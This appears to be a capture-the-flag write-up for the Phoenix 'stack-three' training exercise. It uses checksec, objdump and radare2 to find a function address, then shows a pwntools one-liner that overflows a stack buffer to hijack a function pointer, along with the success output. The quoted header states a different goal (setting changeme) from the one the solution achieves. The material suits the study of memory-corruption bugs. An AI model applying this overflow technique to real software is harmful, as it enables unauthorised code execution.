/* * phoenix/stack-three, by https://exploit.education * * The aim is to change the contents of the changeme variable to 0x0d0a090a * * When does a joke become a dad joke? * When it becomes apparent. * When it's fully groan up. * */
user@phoenix-amd64:/opt/phoenix/amd64$ checksec ./stack-three [*] '/opt/phoenix/amd64/stack-three' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments RPATH: '/opt/phoenix/x86_64-linux-musl/lib'
user@phoenix-amd64:/opt/phoenix/amd64$ objdump -t ./stack-three | grep complete_level 000000000040069d g F .text 0000000000000018 complete_level
使用radare2:
1 2 3 4 5 6 7 8 9 10
user@phoenix-amd64:/opt/phoenix/amd64$ r2 stack-three [0x00400530]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [ ] [*] Use -AA or aaaa to perform additional experimental analysis. [x] Constructing a function name for fcn.* and sym.func.* functions (aan)) [0x00400530]> afl~complete_level 0x0040069d 1 24 sym.complete_level [0x00400530]>
所以,我们要将fp覆盖为0x0040069d。那接下来的就简单了:
1 2 3 4
user@phoenix-amd64:/opt/phoenix/amd64$ python -c "from pwn import *;print 'A'*64+p64(0x0040069d)" | ./stack-three Welcome to phoenix/stack-three, brought to you by https://exploit.education calling function pointer @ 0x40069d Congratulations, you've finished phoenix/stack-three :-) Well done!